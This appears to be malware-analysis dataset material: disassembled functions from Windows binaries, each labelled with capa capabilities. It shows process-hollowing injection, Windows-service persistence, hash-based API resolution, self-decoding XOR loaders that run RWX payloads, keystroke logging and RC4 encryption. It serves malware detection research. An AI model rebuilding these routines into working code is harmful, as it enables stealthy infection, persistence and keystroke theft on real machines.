joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e6cc
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
push ebx
push esi
push edi
push 0x44
pop ebx
xor eax, eax
push 0x10
lea edi, [ebp - 0x54]
pop ecx
mov dword [ebp - 0x58], ebx
rep stosd dword es:[edi], eax
push 1
call fcn.0040d781
pop ecx
xor esi, esi
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push esi
push esi
push ebx
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e864
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x180], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x178], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x174], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x170], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x168], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x164], eax
push esi
push esi
lea eax, [ebp - 0x188]
push esi
push eax
mov dword [ebp - 0x17c], ebx
push dword [ebp - 0x10]
mov dword [ebp - 0x160], esi
call edi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
cmp dword [ebp + 8], esi
jne 0x40e79d
lea eax, [ebp - 0x15c]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x40e7ad
push dword [ebp + 8]
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x200
lea eax, [ebp - 0x388]
push 0x40e86b
push eax
call fcn.0040f4ac
add esp, 0xc
lea eax, [ebp - 0x658]
mov dword [ebp - 0x658], 0x10003
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x594]
mov edi, 0x334
lea esi, [eax - 0x334]
and esi, 0xffffffe0
mov dword [ebp - 0x38c], esi
lea eax, [esi - 4]
mov dword [ebp - 0x594], eax
lea eax, [esi + 4]
mov dword [ebp - 0x5a0], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0x38c]
push edi
push eax
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x658]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0xc]
call ebx
push dword [ebp - 0x10]
call ebx
push 1
pop eax
jmp 0x40e866
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ec60
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
call fcn.0040cec3
test al, al
je 0x40ec83
xor edi, edi
push 1
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, edi
mov dword [ebp - 0x10], eax
jne 0x40ec8a
xor al, al
jmp 0x40ed30
push ebx
push 1
push dword [0x403e80]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, edi
mov dword [ebp - 0xc], eax
jne 0x40eca5
xor bl, bl
jmp 0x40ed24
and byte [ebp - 1], 0
lea ecx, [ebp - 8]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
push ecx
push edi
push edi
push eax
mov dword [ebp - 8], edi
call esi
cmp dword [ebp - 8], edi
jne 0x40ecc5
xor bl, bl
jmp 0x40ed1a
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x40ecfd
test ebx, ebx
je 0x40ecc1
push ebx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40ecc1
cmp dword [ebx + 4], 2
je 0x40ed07
mov byte [ebp - 1], 1
test ebx, ebx
je 0x40ed17
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, byte [ebp - 1]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, bl
pop ebx
pop edi
leave
ret

Function at 0x40ed33
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
xor edi, edi
cmp dword [ebp + 8], edi
je 0x40ed5b
call fcn.0040cec3
test al, al
je 0x40ed5b
push 1
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, edi
mov dword [ebp - 0x10], eax
jne 0x40ed62
xor al, al
jmp 0x40ee16
push ebx
push 1
push dword [0x403e80]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, edi
mov dword [ebp - 0xc], eax
jne 0x40ed80
xor bl, bl
jmp 0x40ee0a
and byte [ebp - 1], 0
lea ecx, [ebp - 8]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
push ecx
push edi
push edi
push eax
mov dword [ebp - 8], edi
call esi
cmp dword [ebp - 8], edi
jne 0x40eda0
xor bl, bl
jmp 0x40ee00
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x40edd8
test ebx, ebx
je 0x40ed9c
push ebx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x40ed9c
push dword [ebp + 8]
push dword [ebx + 0xc]
call fcn.0040f353
pop ecx
test eax, eax
pop ecx
jne 0x40eded
mov byte [ebp - 1], 1
test ebx, ebx
je 0x40edfd
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, byte [ebp - 1]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, bl
pop ebx
pop edi
leave
ret
Function at 0x40ee62
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x40ee8d
call fcn.0040cec3
test al, al
je 0x40ee8d
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x40ee94
xor al, al
jmp 0x40ef40
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
push dword [ebp + 8]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
lea eax, [ebp - 0x108]
push 0x403e9c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x108]
push ebx
push eax
mov eax, dword [0x403e80]
push ebx
mov edi, 0x110
push 2
push edi
push 2
push eax
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x40ef34
push dword [0x403e80]
lea ecx, [ebp - 0x108]
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push ebx
push 2
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
je 0x40ef2b
mov bl, 1
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, bl
pop edi
pop ebx
leave
ret

Function at 0x40f60f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push esi
xor eax, eax
mov eax, dword fs:[eax + 0x30]
test eax, eax
js 0x40f62c
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
jmp 0x40f635
mov eax, dword [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, dword [eax + 0x3c]
pop esi
pushal
mov ebp, eax
mov eax, dword [ebp + 0x3c]
mov edx, dword [ebp + eax + 0x78]
add edx, ebp
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, ebp
jecxz 0x40f680
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
lodsb al, byte [esi]
test al, al
je 0x40f663
ror edi, 0xd
add edi, eax
jmp 0x40f657
cmp edi, dword [esp + 8]
jne 0x40f64a
mov ebx, dword [edx + 0x24]
add ebx, ebp
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, ebp
mov eax, dword [ebx + ecx*4]
add eax, ebp
mov dword [esp + 0x1c], eax
popal
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40f686
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x40f6e9
mov eax, dword [edi + 0x3c]
and dword [ebp + 0xc], 0
mov esi, dword [eax + edi + 0x78]
mov eax, dword [esi + edi + 0x20]
add esi, edi
add eax, edi
mov ebx, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
add ebx, edi
add ecx, edi
cmp dword [esi + 0x18], 0
mov dword [ebp - 8], ecx
jbe 0x40f6e9
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov eax, edi
push 0xfd33
push 0x5452
add eax, dword [ecx]
push eax
call fcn.0040f5b4
cmp eax, dword [ebp + 8]
je 0x40f6f0
inc dword [ebp + 0xc]
add dword [ebp - 4], 4
mov eax, dword [ebp + 0xc]
cmp eax, dword [esi + 0x18]
jb 0x40f6be
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
movzx eax, word [ebx + eax*2]
mov eax, dword [ecx + eax*4]
add eax, edi
jmp 0x40f6eb

Function at 0x41042f
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x353]
mov byte [ebp - 0x354], bl
mov byte [ebp - 0x254], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x94
xor eax, eax
lea edi, [ebp - 0x253]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push 0x104
push eax
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
call edi
call fcn.0040e218
call fcn.00410287
lea eax, [ebp - 0x354]
push 0x100
push eax
push ebx
call esi
push eax
call edi
lea eax, [ebp - 0x214]
push eax
call fcn.0040dffe
mov esi, eax
lea eax, [ebp - 0x254]
push eax
push dword [ebp + 8]
call fcn.004102df
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [reloc.KERNEL32.dll_LoadLibraryA], eax
mov eax, dword [ebp - 4]
mov dword [reloc.KERNEL32.dll_GetProcAddress], eax
call fcn.0040cec3
test al, al
je 0x4104f6
call fcn.0040ce19
cmp eax, 8
je 0x4104f6
push dword [0x403764]
call fcn.0040d298
pop ecx
jmp 0x410507
push 2
push dword [0x403790]
push esi
call fcn.0040f50d
add esp, 0xc
test eax, eax
je 0x410521
call fcn.004102aa
test al, al
jne 0x41057e
lea eax, [ebp - 0x214]
push eax
call fcn.0040db9f
pop ecx
call fcn.0040cec3
test al, al
je 0x41053f
push dword [0x40376c]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x410557
push dword [0x403760]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.00407fde
call fcn.0040ce19
cmp eax, 8
jne 0x41056c
push 0x403f74
call fcn.0040cdc7
pop ecx
push ebx
push ebx
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.0040c383
add esp, 0x10
call fcn.0040ce19
cmp eax, 8
je 0x4105a7
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x354]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4105a7
push ebx
call fcn.0040e6cc
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x410be0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
test ecx, ecx
jne 0x410bf5
or eax, 0xffffffff
pop esi
mov dword [0x404548], eax
not eax
ret
mov esi, dword [esp + 0xc]
mov eax, dword [0x404548]
test esi, esi
je 0x410c22
push ebx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x403fd0]
xor eax, edx
inc ecx
dec esi
jne 0x410c03
pop ebx
mov dword [0x404548], eax
pop esi
not eax
ret
Function at 0x40410f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40411e
pop dword [ebp - 0x38]
mov eax, 0x1056e789
add eax, 0xefe95995
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x365da
push 0
mov eax, 0x704f6ab3
add eax, 0x8ff185dd
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x52da6136
sub ecx, 0x52da21b7
xor edx, edx
add edx, eax
mov ebx, 0x41aa00
add ebx, dword [ebp - 0x38]
mov esi, 0x7f814991
sub esi, 0xdfab60f
mov edi, dword [ebx]
sub dword [ebp - 0x1c], edi
xor edi, esi
mov dword [ebp - 0x28], 0x519c25a2
mov dword [edx], edi
add edx, 0xe930f8fa
sub edx, 0xe930f8f6
add ebx, 0x1cea3e4
sub ebx, 0x1cea3e0
loop 0x404179
add eax, 0x963d7547
sub eax, 0x963c8478
mov ebx, eax
add eax, 5
mov ecx, 0xdd14681d
add ecx, 0x232b97e3
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x406243
pop dword [ebp - 0x38]
mov eax, 0x406243
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x159afd70
add dword [ebp - 0x48], 0x38b747db
mov dword [ebp - 0x44], 0x6a26f3d8
add dword [ebp - 0x44], 0xc80c586d
mov dword [ebp - 0x40], 0xf718a8b2
add dword [ebp - 0x40], 0x55339b7c
mov dword [ebp - 0x3c], 0x6d6d40fb
sub dword [ebp - 0x3c], 0x6d6d40fb
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x8e47dd64
sub dword [ebp - 0x48], 0x19d5740e
mov dword [ebp - 0x44], 0x2e60eac7
sub dword [ebp - 0x44], 0xecf48952
mov dword [ebp - 0x40], 0xb0b8f26e
add dword [ebp - 0x40], 0xb2b679fe
mov dword [ebp - 0x3c], 0x8aef4712
add dword [ebp - 0x3c], 0x7510b8ee
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x5a595c0e
sub eax, 0x5a18db0e
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x393af
push 0
call eax
mov ecx, 0x50d4
mov edx, eax
mov esi, 0x5fe1921a
add esi, 0xa06551e6
add esi, dword [ebp - 0x38]
mov ebx, 0x394c68db
add ebx, 0x8532ff12
add dword [ebp - 0x14], 0xbae096f3
mov edi, dword [esi]
xor dword [ebp - 0x28], eax
xor edi, ebx
sub dword [ebp - 0x24], eax
mov dword [edx], edi
xor dword [ebp - 0xc], 0x2a67bc7b
add edx, 0x7a1371c0
add edx, 0x85ec8e44
add esi, 4
loop 0x406355
add eax, 0xe0bcf08
add eax, 0xf1f5671b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x40ba50
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4708fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00464f56
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40bad2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004629c7
mov eax, dword [eax]
push 0x4fe1e0
push eax
call fcn.00455634
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004651e1
test bl, bl
je 0x40bad2
push 0x4fe1e0
lea ecx, [esp + 0xc]
call fcn.00465571
push 0x501d30
lea ecx, [esp + 0xc]
call fcn.00465571
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40bb0e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004651e1
jmp 0x40bbd9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40bb92
lea edx, [esp + 0x7c]
push 0x501d2c
push edx
call fcn.00455634
add esp, 8
test eax, eax
je 0x40bb92
lea eax, [esp + 0x7c]
push 0x501d28
push eax
call fcn.00455634
add esp, 8
test eax, eax
je 0x40bb92
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bb22
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004651e1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40c3d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40c432
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40c440
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47097b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x509280]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40c578
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40c4a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004651e1
xor eax, eax
jmp 0x40c5ef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046531e
push esi
lea ecx, [esp + 0xc]
call fcn.004655ad
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40c5cd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0040c3d0
test eax, eax
jne 0x40c5cd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0040c3d0
test eax, eax
jne 0x40c5cd
lea eax, [esp + 0x14]
push 0x501d44
push eax
call fcn.00456670
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c5ac
lea ecx, [esp + 0x14]
push 0x501d40
push ecx
call fcn.004565f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c5ac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40c5af
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004652ce
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40c4be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004651e1
xor eax, eax
jmp 0x40c5ef
mov byte [esi], 0
push 0x501d3c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004651e1
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41cab0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41cb1e
cmp si, 0x69
ja 0x41cb1e
add esi, 0xffd0
cmp si, 0x11
je 0x41caee
push 0x11
call edi
test ax, ax
jge 0x41caee
or esi, 0x2000
cmp si, 0x10
je 0x41cb03
push 0x10
call edi
test ax, ax
jge 0x41cb03
or esi, 0x4000
cmp si, 0x12
je 0x41cb18
push 0x12
call edi
test ax, ax
jge 0x41cb18
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41cb2b
mov esi, 0xbd
jmp 0x41cadf
cmp si, 0x6e
jne 0x41cb38
mov esi, 0xbe
jmp 0x41cadf
cmp si, 0x6f
jne 0x41cad9
mov esi, 0xbf
jmp 0x41cadf

Function at 0x41e250
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x519a40]
xor edx, edx
cmp eax, edx
jne 0x41e276
xor eax, eax
mov byte [eax + 0x519940], al
inc eax
cmp eax, 0x100
jl 0x41e25e
mov dword [0x519a40], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x519940
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41e307
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41e2da
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41e2a8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41e380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41e3d3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41e3ba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret